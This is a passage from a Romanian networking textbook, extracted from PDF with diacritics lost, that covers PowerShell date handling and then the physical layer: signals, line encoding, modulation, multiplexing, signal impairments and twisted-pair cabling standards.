Saturday, August 02, 2008 7:49:00 PM
Pentru a separa data i ora curent, se folosete parametrul DisplayHint lng care se
poate specifica date sau time:
PS C:\Users\Administrator> Get-Date -DisplayHint date

Saturday, August 02, 2008

PS C:\Users\Administrator> Get-Date -DisplayHint time

7:49:00 PM

1
De fapt, Get-Date returneaz deopotriv informaii legate de data i ora curent. Nu exist o
comand Get-Time ci doar parametri suplimentari ai lui Get-Date.
30 | R e e l e L o c a l e

Exist i metoda IsDaylightSavingTime() care returneaz True sau False n funcie de
prezen orei de var. Rezultatul asupra cruia se aplic metoda este cel al comenzii Get-
Date, care trebuie ncadrat ntre paranteze nainte de a i se accesa metodele:
PS C:\Users\Administrator> (Get-Date).IsDaylightSavingTime()
True
O utilizare frecvent a datelor n scripting o reprezint adugarea unei astfel de informaii
n numele fiierelor, meninndu-le astfel ordonate. Urmtoarea secven arat modul n care
se pot obine noi nume pentru fiiere, concatennd data curent la numele lor:
$filename = "fisier"
$datestring = Get-Date -uformat %Y%M%d
$newfilename = $filename + "_" + $datestring + ".txt"
Write-Host $newfilename
De remarcat faptul c, n linia de formatare a datei, parametrul uformat provine de la
UNIX format. Pentru exemplul de mai sus, %Y reprezint un an din patru cifre, ca 2008, %M
reprezint o lun din dou cifre, ca 08, iar %d o zi de dou cifre, ca 02.
O list parial de modificatori acceptai la formatarea datei i a orei este urmtoarea:
C Impropriu denumit secol (century), de fapt extrage primele dou cifre ale anului (20 pentru
2008)
Y An de patru cifre
b Numele prescurtat al lunii
B Numele complet al lunii
M Lun de dou cifre
V Numrul sptmnii n intervalul 01..53
a Numele prescurtat al zilei sptmnii
A Numele complet al zilei sptmnii
u Numrul zilei sptmnii, ncepnd cu 1 corespunztor lui luni (Monday)
d Ziua din lun n dou cifre
j Ziua din an
r Timpul n format de 12 ore
T Timpul n format de 24 de ore
p ante meridian (a.m.) sau post meridian (p.m.)
H Ora n format de 24 de ore
I Ora n format de 12 ore
m Minute
S Secunde

Calcularea datelor din trecut sau viitor se face tot prin metode aplicate lui Get-Date, ca n
exemplele de mai jos. Se observ c scderea unitilor de timp se face prin aceleai metode,
dar argumente negative:
(Get-Date).AddMonths(3)
(Get-Date).AddHours(145)
(Get-Date).AddYears(-2)
Setarea datei se face prin comanda Set-Date urmat de parametrul date i un ir ce
descrie noua valoare. Poate fi folosit i n combinaie cu calcularea timpului n trecut sau
viitor:
Set-Date -date "8/7/2008 12:00 AM"
Set-Date (Get-Date).AddHours(3)
Calcularea intervalului de timp dintre dou evenimente este util n special pentru
msurarea timpului de rulare a unui script i poate fi realizat ca n exemplul de mai jos:
$start = Get-Date
31 | C u p r i n s

<instruciuni>
$stop = Get-Date
$timediff = New-TimeSpan $start $stop
Write-Host Scriptul a rulat + $timediff.milliseconds + " milisecunde."
0-12: Calcularea timpului de rulare a unui script
Bineneles, n exemplul de mai sus se pot folosi i zile, ore, minute, secunde, ticks precum
i alte proprieti n locul milisecundelor.
Pentru a calcula prin intermediul unui TimeSpan timpul dintre momentul curent i o dat
oarecare din prezent sau trecut, se poate folosi o comand cu sintaxa urmtoare:
New-TimeSpan $(Get-Date) $(Get-Date -month 1 -day 1 -year 2027)
Comanda Get-Date poate returna obiecte cu proprieti explicit specificate prin
intermediul parametrilor ca month, day sau year. Utilizarea parantezelor este necesar n
exemplul de mai sus deoarece se dorete evaluarea lor naintea transmiterii rezultatelor ca
parametrii pentru comanda New-TimeSpan.

32 | R e e l e L o c a l e

1 Nivelul fizic
Ce se nva din acest capitol:
Tipuri de semnale folosite n reele de calculatoare
Medii de transmisie
Echipamente de reea
Cine este...
Alexander Graham Bell este un inventator i om de tiin eminent, creditat cu
inventarea telefonului. n 1881, primele cabluri torsadate (twisted pair) au fost folosite n
sistemele telefonice proiectate de Bell.
1.1 Semnale
La nivel fizic, unitatea de organizare a datelor este bitul. Biii pot fi reprezentai i
transmii printr-un canal de comunicaie cu ajutorul semnalelor. Rolul fundamental al nivelului
fizic este acela de a transforma semnalul n bii. tiind c la nivel fizic se lucreaz doar cu
semnale, sunt importante mijloacele prin care biii pot fi transportai ct mai eficient.
n cele ce urmeaz vor fi prezentate diverse tehnici i dispozitive ce fac posibil
optimizarea transferului de bii printr-un canal fizic.
1.1.1 Tipuri de semnale
1.1.1.1 Semnale analogice i digitale
La nivelul cel mai general, un semnal este un fenomen fizic msurabil, care variaz n
spaiu i/sau timp, utilizat pentru a transmite informaie. Semnalele pot fi continue sau
discrete. De asemenea, o clasificare frecvent a semnalelor este cea analogic/digital.
Semnalele digitale sunt discrete i cuantizate adic pot fi reprezentate prin numere cu un
anumit nivel de precizie prestabilit. Semnalele analogice sunt continue i, teoretic, ar putea fi
reprezentate prin numere doar cu un nivel infinit de precizie (cu un numr infinit de zecimale).
Semnalele analogice, cel mai adesea, sunt cele ntlnite n natur, cum ar fi vocea uman,
ciripitul psrilor, uieratul vntului etc. Atunci cnd sunt reprezentate grafic ele seamn cu
nite valuri mai mult sau mai puin simetrice. Cel mai simplu exemplu de semnal analogic este
o sinusoid (Figura Error! Reference source not found.). Semnalele analogice variaz continuu
n timp i de aceea nu au treceri brute de la o valoare la alta: se mai spune c sunt wavy,
adic unduioase .
Semnalele digitale, cel mai adesea, sunt cele folosite n tehnic i au la baz dou valori
logice, 0 i 1, care au fiecare cte o reprezentare n funcie de modul n care sunt transmise.
Impulsurile digitale (0 sau 1 logic) se numesc bii. Transmisia digital este de multe ori de
preferat celei analogice deoarece este mai puin afectat de zgomote, fiind deci mai robust.
Datorit trecerilor brute de la o valoare la alta, se mai spune c este jumpy, adic
sltrea. Semnalele digitale menin un nivel constant de tensiune sau intensitate luminoas,
apoi trec pe alt nivel constant.
Exemplul simplu de mai jos ilustreaz faptul c transmisia digital e mai puin afectat de
zgomote. Fie o linie pe care se dorete transmiterea numrului 7. Dac transmisia este
analogic, se va transmite practic o und, n exemplu de fa amplitudinea fiind de 0,7 (dac s-
ar fi dorit transmiterea numrului 5, ar fi trebuit folosit o amplitudine 0,5, etc). Dac acea
linie este afectat de interferene electromagnetice cu amplitudinea de 0,2, atunci la recepie
33 | N i v e l u l f i z i c

se va citi 0,9, adic numrul 9. Transmisie eronat! Dac n schimb se folosete transmisia
digital, va trebui convertit 7 n binar, iar numrul 111 va fi transmis digital. Transmisia poate
avea 2 valori: spre exemplu, 0 logic ntre amplitudinile 0,1 i 0,4 i 1 logic ntre 0,8 i 1. Dac se
dorete transmiterea lui 1 logic de 3 ori, practic vor fi transmise 3 impulsuri cu amplitudinea
de 0,8. Dac la ele se adaug interferenele prezente pe linie, la cellalt capt vor fi citite 3
impulsuri de amplitudine 1, ceea ce nseamn tot 1 logic. Transmisie corect! Este adevrat c
exist numeroase cazuri n care datorit interferenelor prea mari se emite 0 i se
recepioneaz 1 sau invers, ns, n comparaie cu transmisia analogic, cea digital este mult
mai precis i mai robust.
Tipurile de semnale discutate mai jos sunt n marea lor majoritate digitale (acestea sunt
cele mai folosite n reele de calculatoare); atunci cnd este vorba despre semnale analogice,
acest lucru va fi precizat explicit.

1-1: Exemplu de semnal analogic i digital
Trebuie fcut distincia ntre tipul semnalului i tipul datelor transmise folosind acel
semnal. La rndul lor, i datele se mpart n analogice sau digitale. Datele analogice sunt valori
continue din cadrul unui interval (exemplu: sunetele din natur, nlimea unei coloane de
mercur din termometru). Datele digitale sunt valori discrete (exemplu: un fiier text, cifrele
afiate pe ecranul unui termometru digital).
Un caz n care date analogice, cum ar fi vocea, sunt transmise printr-un semnal analogic,
este cel al telefonului clasic.
De obicei, pentru datele digitale se folosesc semnale digitale. Dac ns, se dorete
transmiterea de date digitale printr-un mediu analogic, trebuie folosit un modem. Acesta preia
datele digitale de transmis i le moduleaz, rezultnd un semnal analogic. La recepie, aplicnd
procesul invers, demodularea, asupra semnalului analogic citit de pe mediu se obin datele
digitale.
34 | R e e l e L o c a l e


Date Dispozitiv Semnal
Date
analogice
(ex: voce)
telefon

Semnal
analogic
Date
digitale
(ex: text)

modem

Semnal
analogic
Date
analogice

codec

Semnal
digital
Date
digitale

digital transceiver

Semnal
digital
1-2: Date analogice/digitale, semnal analogic/digital
Tehnologia Voice over IP permite transferul datelor analogice prin semnale digitale.
Codificarea datelor se poate face software sau direct hardware.
1.1.1.2 Clasificarea semnalelor n funcie de modul de transmisie
n funcie de natura generatorului de semnal i a mediului n care se propag, semnalele
pot fi mprite n trei categorii:
1.1.1.2.1 Semnale electrice
Semnalele electrice constau n impulsuri electrice ce folosesc ca suport pentru transmisie
fire de cupru.
1.1.1.2.2 Semnale optice
Semnalele optice se obin prin conversia semnalului electric n impulsuri luminoase care
sunt transmise apoi printr-o fibr optic.
1.1.1.2.3 Unde electromagnetice (unde radio, microunde)
Semnalele wireless (fr fir) se propag prin aer, sub form de unde radio sau microunde.
1.1.2 Codarea
De-a lungul timpului au existat numeroase forme de transport al informaiei pe distane
lungi. Fiecare dintre aceste metode avea o anumit form de codare a informaiei. De
exemplu, indienii apache fceau un foc mare pe un deal i cu ajutorul unei pturi formau
rotocoale de fum. O variant de codare folosit ar putea fi: 3 rotocoale de fum nseamn c
este vnat mult prin zon, 4 rotocoale mari i dou mici nseamn c vine furtuna, etc. Apariia
codului Morse a revoluionat la vremea respectiv comunicaiile: fiecare liter avea propriul ei
simbol format din semnale lungi i scurte.
Procesul de transformare a informaiei ntr-un semnal ce poate fi transportat pe un canal
fizic se numete codare.
Transmiterea informaiei n reelele de calculatoare presupune aplicarea mai multor
procese de codare la diferite niveluri ale stivei OSI precum segmentarea datelor,
comprimarea datelor sau criptarea. Desigur, pentru a transmite informaia, aceasta trebuie
35 | N i v e l u l f i z i c

convertit ntr-un semnal digital binar. La nivelul fizic, pasul urmtor const n codarea
semnalului binar ntr-un alt semnal adecvat mediului fizic precum variaii ale nivelului de
tensiune ntr-un cablu de cupru, sau variaii ale luminozitii ntr-o fibr optic. Mai jos sunt
prezentate cteva metode de codare ale semnalelor binare n semnale fizice.
1.1.2.1 Sincronizarea cu ceas
1.1.2.1.1 NRZ-L
n codarea Non-Return-to-Zero Level valoarea 1 logic este transmis ca o tensiune joas
(de obicei negativ, de exemplu ntre -12V i -5V) iar 0 logic ca un nivel de tensiune nalt
(pozitiv, de exemplu ntre 5V i 12V). n reprezentarea unui ir de bii nivelul semnalului
urmrete starea bitului.
Un dezavantaj important al acestei metode de codare este riscul crescut de pierdere a
sincronizrii la receptor. Transmiterea unei secvene de date ce conine un numr mare de bii
consecutivi cu aceeai valoare presupune meninerea tensiunii mai mult timp pe acelai nivel,
iar n cazul desincronizrii, numrul biilor recepionai poate fi eronat.
1.1.2.1.2 NRZI
n codarea Non-Return-to-Zero Inverted valoarea semnalului trece de pe un nivel pe altul
doar atunci cnd n irul de bii apare valoarea 1 logic. Ca exemplu, dac n starea curent
semnalul se afla pe nivelul de tensiune joas, la apariia unui bit de valoare 1, va trece pe
tensiune nalt. Apariia unuia sau mai multor bii de 0 nu schimb n niciun fel nivelul de
tensiune. Acesta va reveni la tensiune joas doar pentru a reprezenta urmtorul bit de 1
ntlnit n ir.
1.1.2.2 Sincronizarea fr ceas
1.1.2.2.1 Manchester
Codarea Manchester folosete pentru reprezentarea fiecreia dintre cele dou valori
logice cte o tranziie ntre nivelurile de tensiune. Astfel, o trecere sus-jos codific un bit 0, n
timp ce un bit 1 este codificat printr-o trecere jos-sus. Tranziiile au loc la mijlocul celulei de
bit, ceea ce nseamn c, dac se pierde sincronizarea, pot fi folosite att ca date ct i ca
semnal de ceas. De exemplu, dac este folosit codarea NRZ-L i trebuie transmii 20 de bii de
1 logic, atunci ar fi necesare 20 de impulsuri de tensiune -5V. S-ar putea ns ca la recepie,
datorit tuturor fenomenelor discutate pn acum, s fie citii 18 bii sau 21 de bii. Folosind
codarea Manchester, unde fiecare bit e o tranziie, sunt trimise practic mai multe impulsuri
electrice, ns la recepie vor fi citite tot 20 de tranziii.
Codarea Manchester este utilizat n cadrul standardului IEEE 802.3 (Ethernet).
1.1.2.2.2 Manchester diferenial
Manchester diferenial este o metod de codare n care datele sunt combinate cu
semnalele de ceas pentru a forma un ir de date cu autosincronizare. Aceast metod
folosete tranziia din mijlocul celulei de bit doar ca i semnal de ceas. Pentru a reprezenta 1,
prima jumtate a celulei de bit curente este egal cu ultima jumtate a bitului precedent.
Pentru a codifica 0, se inverseaz nivelul de tensiune existent n cea de-a doua jumtate a
semnalului anterior. Cu alte cuvinte, un bit 0 este reprezentat printr-o tranziie la nceputul
celulei de bit, absena acestei tranziii semnificnd 1 logic.
Manchester diferenial este utilizat n cadrul standardului 802.5 (Token Ring).
36 | R e e l e L o c a l e

Pentru exemplificare, n figura 1-3 este reprezentat codarea caracterului K n cele patru
variante discutate.
Caracterul A n hexazecimal are valoarea 0x41. Cum litera K se afl la o distan de 10
litere de A, nseamn c reprezentarea lui K n hexa este 0x4B.
A = 0x41, B = 0x42, ..., I = 0x49, J = 0x4A,
K = 0x4B
Reprezentarea binar:
4
(16)
= 4
(10)
= 0100
(2)

B
(16)
= 11
(10)
= 1011
(2)

Reprezentarea binar pentru litera K este 0100 1011.


clock


date

0

1

0

0

1

0

1

1

NRZ - L


NRZI



Manchester



Manchester
diferenial

1-3: Metode de codare
1. Codarea NRZ-L - dac un bit este 1, semnalul este pe nivelul de tensiune joas, dac bitul este
0, semnalul trece pe tensiune nalt
2. CodareaNRZ-I - semnalul schimb nivelul de tensiune doar cnd urmeaz un bit 1.
3. Codarea Manchester 0 este codificat ca o tranziie sus-jos, 1 ca tranziie jos-sus
4. Codarea Manchester diferenial - Tranziia de la nceputul semnalului indic un bit 0.
1.1.3 Modularea
Modularea se refer la modificarea unui semnal folosind un alt semnal. ntr-o transmisie
radio semnalul cu ajutorul cruia este transportat informaia este o und, de exemplu o
sinusoid. Transmitorul emite n permanen o sinusoid (caracterizat de amplitudine,
frecven i faz) cu toi parametrii constani. n acest caz, cantitatea de informaie este nul,
adic pe aceast sinusoid nu este transmis niciun fel de informaie util. n momentul n
care ncepe transmisia datelor, semnalul util de date, adic biii, sunt folosii pentru a varia
parametrii sinusoidei. Cu alte cuvinte, datele - adic biii se reprezint prin modificri ale
37 | N i v e l u l f i z i c

sinusoidei iniiale. Cum, sau mai exact, ce trebuie modificat la sinusoid? Pot fi modificai
urmtorii parametri:
amplitudinea: modulare AM - amplitude modulation;
frecvena: modulare FM - frequency modulation;
faza: modulare PM - phase modulation.
Modularea este procesul de compunere a unei unde purttoare cu un set de date.

1-4: Modulare n amplitudine (AM), frecven (FM), faz (PM)
Desigur, exist forme mult mai avansate de modulare, ns cele trei prezentate mai sus
reprezint bazele modulrii semnalelor.
Datele din calculator fiind digitale, pentru orice fel de comunicaie trec prin procesul de
codare. Dac mediul de transmisie folosit este tot digital (de exemplu cablu UTP), datele sunt
puse direct pe mediu, fr a mai fi nevoie de modulare. Pentru transmisiile pe legturi seriale
sau pe cablu coaxial va fi folosit att codarea ct i modularea.
1.1.4 Multiplexarea
Multiplexarea este procedeul prin care mai multe canale de date sunt combinate ntr-un
singur canal fizic. Demultiplexarea este procesul invers multiplexrii, de separare a canalelor
iniialedin canalul fizic .
Exist numeroase tehnici de multiplexare, ntre care se numr:
TDM (Time Division Multiplexing): informaiilor din fiecare canal de date li se aloc o cuant de
timp predefinit, indiferent dac pe acele canale se transmite sau nu.
ATDM (Asynchronous time-division multiplexing): informaiilor din fiecare canal de date li se
aloc o cuant de timp variabil, n funcie de numrul de canale utilizate n acel moment.
FDM (Frequency Division Multiplexing): fiecare canal primete o anumit band de frecven.
Statistical multiplexing - Banda este alocat n mod dinamic fiecrui canal care are informaii
de transmis.
DWDM (Dense Wavelength Division Multiplexing) este o form de multiplexare dezvoltat
pentru transmisia pe fibr optic. DWDM este echivalentul optic al multiplexrii FDM.
38 | R e e l e L o c a l e

Aceste tipuri de multiplexri se refer la mrimea fizic ce st la baza separaiei canalelor.
De exemplu, n cazul multiplexrii TDM, fiecrui canal de comunicaie i se aloc o cuant de
timp, iar n cazul FDM, fiecrui canal i se aloc o anumit band de frecven.
1.1.5 Caracteristici ale semnalului
1.1.5.1 Latena
Latena, numit i ntrziere, este de dou tipuri: latena propagrii prin mediul de
transmisie i latena trecerii prin echipamentele de reea.
Primul tip de laten este dat de viteza de propagare a semnalului n mediul de transmisie
specific i de distana ntre surs i destinaie. De exemplu, pentru o transmisie prin mediul
electric viteza de propagare a semnalului este aproximativ dou treimi din viteza luminii.
Aceasta nseamn c un impuls electric va parcurge un segment de reea de 100 m n
6
8
10 5 , 0
) 10 3
3
2
(
100



secunde.
A doua surs a latenei o reprezint echipamentele de reea folosite pe parcurs. Fiecare
echipament execut operaii specifice, de la redresarea semnalului electric, pn la
determinarea cii optime pe care trebuie trimis fiecare pachet. Latena dispozitivelor de
interconectare variaz de la cteva microsecunde n cazul hubului i a convertoarelor de
mediu, pn la milisecunde n cazul comutatoarelor i a routerelor. Astfel, comparativ cu
latena introdus de un repetor Ethernet, de aproximativ 5,6 microsecunde, latena mediului
de conectare este cu un ordin de mrime mai mic.
Latena propagrii este n general semnificativ mai mic dect latena dispozitivelor de
interconectare, astfel nct deseori este considerat drept neglijabil. Cu toate acestea, exist
cazuri n care latena propagrii este factorul principal al ntrzierii totale a unui semnal, cel
mai relevant exemplu fiind cel al comunicaiilor prin satelit. Folosirea sateliilor geostaionari
face ca drumul total ntre surs i destinaie s fie de peste 75.000 km, aducnd latena total
a oricrei transmisiuni n jurul valorii de 0,5 secunde.
1.1.5.2 Atenuarea
Atenuarea este un termen general care se refer la reducerea puterii unui semnal.
Atenuarea are loc indiferent de tipul de semnal, analogic sau digital. Numit uneori i
pierdere (loss), atenuarea este o consecin a transmiterii semnalului la distane mari.
Atenuarea afecteaz reelele de calculatoare deoarece limiteaz distana maxim ntre
dispozitivele acesteia. Dac distana este prea mare, din cauza atenurii, la destinaie nu se va
mai putea interpreta semnalul corect.


1-5: Atenuarea semnalului
39 | N i v e l u l f i z i c

Pentru transmisia la distane mai mari dect permite tipul de cablu utilizat se folosesc
anumite dispozitive, numite repetoare, care regenereaz semnalul (din punct de vedere
electric, optic sau wireless). Atenuarea afecteaz toate tipurile de medii de transmisie, ns are
valori diferite pentru fiecare mediu n parte. De exemplu, un semnal electric transmis pe un fir
de cupru se atenueaz mai repede dect un semnal optic (transmis pe o fibr optic).
Atenuarea n general se msoar n decibeli (dB), iar atenuarea specific unui anumit tip de
cablu se msoar n decibeli/metru sau decibeli/kilometru. Fiecare tip de cablu are o atenuare
specific. Cu ct aceast atenuare este mai mic, cu att acel cablu este considerat mai bun.
Atenuarea este un factor foarte important de luat n calcul n cazul proiectrii reelelor de fibr
optic. Echipamentele de fibr optic garanteaz o anumit distan (specificat n cartea
tehnic), ns aceast distan este garantat pentru o fibr optic cu o anumit atenuare / km
(specificat tot n cartea tehnic). Dac se folosete o fibr optic cu o atenuare mai mare,
atunci distana maxim garantat va fi mai mic. Dac ns se folosete fibr optic de o mai
bun calitate, transmisia va fi corect i la distane mai mari dect cea specificat.
Cum se determin distana maxim posibil pentru o transmisie?
Echipamentele impun o anumit valoare a atenurii care nu trebuie depit. Se poate
considera c:


1.1.5.3 Reflexia
Reflexia are loc de obicei atunci cnd un semnal ntlnete o linie de separaie ntre dou
medii. Atunci, o anumit parte din semnal se reflect napoi n mediul din care a venit i o
parte trece n mediul urmtor.
Reflexia poate aprea n cazul semnalelor electrice cnd, de exemplu, impulsurile electrice
sau biii ntlnesc o discontinuitate, moment n care o anumit parte din energia semnalului se
reflect. Dac nu este controlat, aceast energie poate interfera cu biii transmii mai trziu.
Milioane de bii sunt transmii n fiecare secund, iar aceast energie reflectat poate duce la
multe transmisii nereuite. Un exemplu este o reea pe cablu coaxial care are nevoie de un
terminator la fiecare capt. Dac nu ar avea acest terminator, la captul cablului ar aprea o
linie de separare ntre cele dou medii (aer i cupru), iar o parte din energie s-ar reflecta napoi
n firul de cupru.
Reflexia poate avea loc i n cazul sistemelor optice. Un semnal optic se reflect ori de cte
ori ntlnete o discontinuitate n fibra de sticl, ca de exemplu atunci cnd se ataeaz un
conector. De aceea este necesar o pregtire special n cazul atarii conectorilor de fibr
optic, pentru a nu permite reflexia luminii napoi n fibr.
1.1.5.4 Zgomotul
Zgomotul este o cantitate de energie nedorit (electric, electromagnetic sau radio) care
poate degrada calitatea semnalului transmis. Zgomotul afecteaz att transmisiile analogice
ct i cele digitale. n cazul semnalelor analogice, semnalul devine bruiat i uor deformat. Un
exemplu este o convorbire telefonic pe care se aude un zgomot de fond. n sistemele digitale,
zgomotele afecteaz valorile biilor transmii (0 sau 1), la destinaie acetia putnd fi
interpretai greit (adic 1 n loc de 0 i invers).
Zgomotul poate avea mai multe cauze: cmpurile electrice provenite de la motoare
electrice, lumina fluorescent (neoane), etc. - toate provenite de la surse exterioare cablului
afectat. Acest tip de zgomot se numete EMI (Electromagnetic Interference - Interferen
40 | R e e l e L o c a l e

Electromagnetic) dac provine de la surse electrice sau RFI (Radio Frequency Interference -
Interferen Radio) cnd provine de la surse radio, radar sau microunde. Zgomotul mai poate
proveni de la liniile de curent alternativ sau de la fulgere.
Fiecare fir dintr-un cablu poate aciona ca o anten. Cnd acest lucru se ntmpl, firul
practic absoarbe semnale electrice din celelalte fire din cablu sau din surse electrice exterioare
cablului. Dac zgomotul electric rezultat atinge un nivel destul de nalt, poate deveni foarte
dificil sau chiar imposibil pentru echipamentul de la cellalt capt s disting semnalul de
zgomot.

1-6: Efectul zgomotului
Un sistem de transmisie poate fi afectat de unele dintre aceste tipuri de zgomot i imun la
altele. De exemplu, transmisia optic este imun la interferenele electrice, deoarece semnalul
purtat nu are natur electric, ci optic. Acest lucru le face ideale pentru legturile din
exteriorul cldirii, unde transmisia pe firele de cupru ar putea fi influenat de fulgere,
cmpuri electrice din alte surse, etc.
1.1.5.5 Crosstalk
Cablurile de cupru sunt afectate de interferene electromagnetice de la diferite surse din
afara cablului. Totui, cea mai important surs de zgomot pentru cablurile de cupru o
reprezint efectul numit crosstalk: interferena semnalelor ntre dou fire din interiorul
aceluiai cablu. Una dintre cele mai eficiente metode de prevenire a efectului de crosstalk este
torsadarea firelor. Prin torsadare, cmpurile electrice se anuleaz i firele din celelalte perechi
nu mai sunt influenate de semnalul din perechea iniial. De multe ori apar ns probleme la
ataarea conectorilor. Dup cum se va vedea n studiul de caz din acest capitol, atunci cnd se
dorete ataarea unui conector la captul unui cablu trebuie nti detorsadate toate perechile
din interiorul cablului. Dac se las o bucat prea mare detorsadat, n acea zon cmpurile
electrice generate de fiecare fir dintr-o pereche nu se vor mai anula i va aprea o interferen
ntre fire, numit NEXT (Near-End Crosstalk). Acest parametru, NEXT, este specific fiecrui
cablu. Cu ct un cablu este terminat (adic mufa este sertizat) cu mai mult atenie, cu att
efectul NEXT va fi mai mic. Valoarea maxim a parametrului NEXT este specific fiecrei
categorii de cablu (Cat3, Cat5, Cat6): cu ct categoria este mai mare, cu att interferena NEXT
trebuie s fie mai mic (adic se impune o calitate mai ridicat a sertizrii cablurilor).
Terminarea cu grij a cablurilor este cea mai important metod de prevenire a efectului
de crosstalk.
41 | N i v e l u l f i z i c

1.2 Soluii de comunicaie pe cupru
1.2.1 Cablul coaxial
Reele de cablu coaxial au avut perioada de impact maxim la jumtatea anilor `90. Odat
cu apariia mediilor torsadate (UTP, STP) popularitatea lor a nceput s scad. Dei ofer o mai
bun ecranare i permit distane mai mari, mediul coaxial este unul analogic, spre deosebire
de mediul torsadat unde transmisia se realizeaz digital. Eliminarea etapelor de conversie
digital-analogic au permis costuri mai reduse pentru echipamentele de reea destinate reelor
bazate pe UTP. n plus, folosirea unor perechi distincte pentru transmisie i recepie fac din
UTP un mediu de comunicaie full-duplex, spre deosebire de reelele bazate pe medii de
transmisie coaxiale. Reelele de date bazate pe cablu coaxial mai pot fi nc ntlnite n cazul
unor mici reele de cartier, dar n ultimii ani acestea au devenit extrem de rare.
1.2.2 Cablul torsadat
Cablul torsadat este format din mai multe fire de cupru izolate, avnd o grosime tipic de
1mm, mpletite dou cte dou (torsadate). Majoritatea cablurilor torsadate folosite pentru
reele locale conin opt fire, aadar, patru perechi. Rsucirea firelor dintr-o pereche este
necesar pentru anularea efectului de anten caracteristic liinilor lungi. Acest efect ar produce
interferene electrice, ceea ce ar conduce la pierderi de date.

1-7: Cablu UTP
Pe lng interferenele cauzate de cmpurile electrice induse de alte fire din interiorul
aceluiai cablu, pot aprea i interferene din surse exterioare cablului (de exemplu: existena
unui motor electric n apropiere, sau, pentru cablurile aflate n exteriorul cldirilor,
descrcrile electrice din atmosfer). O metod prin care se ncearc reducerea la minim a
interferenelor exterioare este transmiterea diferenial. Transmiterea diferenial, sau
transmiterea n mod balansat, presupune ca semnalul util transmis s reprezinte diferena
dintre semnalele electrice de pe cele dou fire ale unei perechi. Astfel, dac apar interferene
electrice de la surse exterioare cablului, acestea vor afecta ambele fire n mod egal, diferena
dintre semnale rmnnd constant. O alt metod de prevenire a interferenelor exterioare
este ecranarea cablurilor. Ecranarea presupune existena unui nveli format dintr-o plas sau
o foi metalic ce are rol de cuc Faraday.
Din punct de vedere al ecranrii, exist dou feluri de cabluri torsadate: ecranate
(shielded) i neecranate (unshielded). Cele neecranate se numesc UTP (unshielded twisted
pair) i sunt cele mai folosite n cadrul reelelor locale de calculatoare, fiind, de altfel, i cele
mai ieftine.
Dezavantajul cablurilor UTP este c nu pot fi folosite n exteriorul cldirilor, deoarece ar fi
supuse unor posibile ocuri electrice foarte mari, ce ar duce la defectarea echipamentelor
conectate. De aceea, n exteriorul cldirilor se folosete, n general, cablu ecranat: ScTP
(screened twisted pair), STP (shielded twisted pair) sau S/STP (screened shielded twisted pair).
ScTP, numit i FTP (foiled twisted pair), are un singur nveli de ecranare exterior i este doar
cu puin mai gros dect UTP. Cablul STP are, pe lng nveliul de ecranare identic cu cel de la
42 | R e e l e L o c a l e

ScTP, cte un nveli separat pentru fiecare pereche. Acest lucru l face mult mai rezistent la
interferene, dar i mult mai scump. n plus, fiind mai rigid, este i ceva mai greu de manevrat.


1-8: Cablu STP
Din punct de vedere al maleabilitii, cablurile torsadate se mpart n solide i liate. Cele
solide au n interiorul fiecruia dintre cele opt fire ale cablului cte un singur fir de cupru de
aproximativ 1mm, spre deosebire de cele liate, la care fiecare fir este format dintr-o mulime
de fire foarte subiri, numite lie. Cablurile liate sunt aadar mai flexibile, fiind potrivite
pentru cablrile orizontale (de la priza de perete pn la staia utilizatorului), n timp ce
cablurile solide sunt folosite la cablrile verticale (acolo unde este nevoie, de obicei, de cabluri
rigide).

1-9: UPT solid i liat
1.2.2.1 Standarde pentru medii torsadate
Colecia IEEE 802.3 cuprinde standardele ce definesc nivelul fizic i subnivelul MAC al
nivelului legtur de date pentru Ethernet. Este definit cte un standard pentru fiecare tip de
mediu de transmisie folosit. Astfel, n aceast colecie se regsesc, printre altele, standardele
pentru cablu UTP, standardele pentru Ethernet pe cablu coaxial (10BASE5, 10BASE2), Ethernet
prin fibr optic (10BASE-F, 100BASE-FX, etc) sau descrierea tehnologiei PoE (Power over
Ethernet).
Standardul ce conie cerinele pentru transmiterea a 10Mbit/s pe cablu UTP este
standardul 10BASE-T. n mod similar, pentru 100 Mbit/s i 1000 Mbit/s (1 Gbit/s) exist
100BASE-T, respectiv 1000BASE-T (numit i Gigabit Ethernet). Numele standardului deriv din
unele aspecte legate de mediului fizic: Numrul reprezint viteza maxim teoretic exprimat
n megabii pe secund. BASE este prescurtarea pentru baseband, ceea ce nseamn c
fiecare fir este folosit ca un singur canal de comunicaie, pe care se transmite ntr-o singur
43 | N i v e l u l f i z i c

frecven. Cu alte cuvinte, nu se aplic nicio form de multiplexare. Litera de la sfrit
reprezint tipul cablului, n acest caz, T nseamn torsadat (twisted). Aadar, 100BASE-T este
o denumire generic pentru un standard care asigur o vitez de 100Mbit/s pe cablu torsadat.
n particular, sunt definite trei forme : 100BASE-TX, 100BASE-T4 i 100BASE-T2. 100BASE-TX
indic utilizarea unui cablu de categorie cel puin CAT5 i folosirea a 2 perechi de fire din cele
4. Sufixul T4 indic folosirea a 4 perechi pentru comunicaie. 100BASE-T4 i 100BASE-T2 nu se
mai folosesc, fiind standarde nvechite. Toate aceste standarde opereaz pe segmente de
cablu cu lungimi de maxim 100 de metri.
n 2006 a fost publicat standardul 10GBASE-T pentru conexiuni de 10 gigabit/s prin cablu
torsadat. 10Gigabit Ethernet suport doar legturi full-duplex, spre deosebire de celelalte trei
standarde ce suport i comunicaii half-duplex.
Dup cum s-a menionat la nceputul acestui capitol, cantitatea de informaie transferat
ntre emitor i receptor este proporional cu frecvena semnalelor pe mediul de transmisie.
n cazul semnalelor electrice, frecvena este dat de calitatea cuprului de a fi mai bun sau mai
puin bun conductor de curent electric. Aceast calitate depinde de densitatea de impuriti
caracteristic materialului. De aceea, exist mai multe categorii de cabluri, o categorie mai
mare implicnd performane mai bune.
1.2.2.2 Categorii de medii torsadate
Categoriile de cabluri torsadate au fost definite n setul de standarde TIA/EIA-568-B de
ctre asociaia american Telecommunications Industry Association (TIA). Acesta s-a dovedit a
fi standardul cu cea mai larg acceptare n piaa productorilor de soluii pentru nivelul fizic.
1.2.2.2.1 UTP CAT1-4
Cablul ncadrat la categoria 1 (CAT1) este cel folosit n serviciile de telefonie clasic (POTS
Plain Old Telephone Service) sau soneriile de la ui. Aceast etichetare este cumva improprie,
ntruct setul de standarde TIA/EIA-568-B nu recunoate n momentul de fa dect categoriile
3, 5e, 6 i 6a.
Standardul C3 a fost folosit n anii `90 pentru TokenRing i pentru Ethernet, ajungnd la
viteze de pn la 10Mbit/s. Astzi, acesta este folosit n sistemele de telefonie i poate fi uor
adaptat pentru Voice over IP (VoIP) ntruct viteza de 10Mbit/s pe care o ofer depete cu
